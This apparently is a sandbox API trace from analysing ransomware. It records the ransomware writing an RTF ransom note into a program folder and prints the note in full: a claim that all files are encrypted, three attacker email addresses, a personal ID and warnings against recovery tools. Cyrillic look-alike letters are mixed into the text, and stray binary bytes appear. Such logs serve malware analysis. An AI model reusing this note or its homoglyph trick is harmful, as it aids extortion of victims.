\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n«\x0e=£\x13\x0f»ò\x8eZ_\x90$u%\x12\\ÇÙ \x97¾I\x88TÑðé¯R\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0040.541] WriteFile (in: hFile=0x1cc, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.542] CloseHandle (hObject=0x1cc) returned 1 [0040.542] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\!bwng_info!.rtf")) returned 0xffffffff [0040.542] GetLastError () returned 0x2 [0040.542] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.543] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 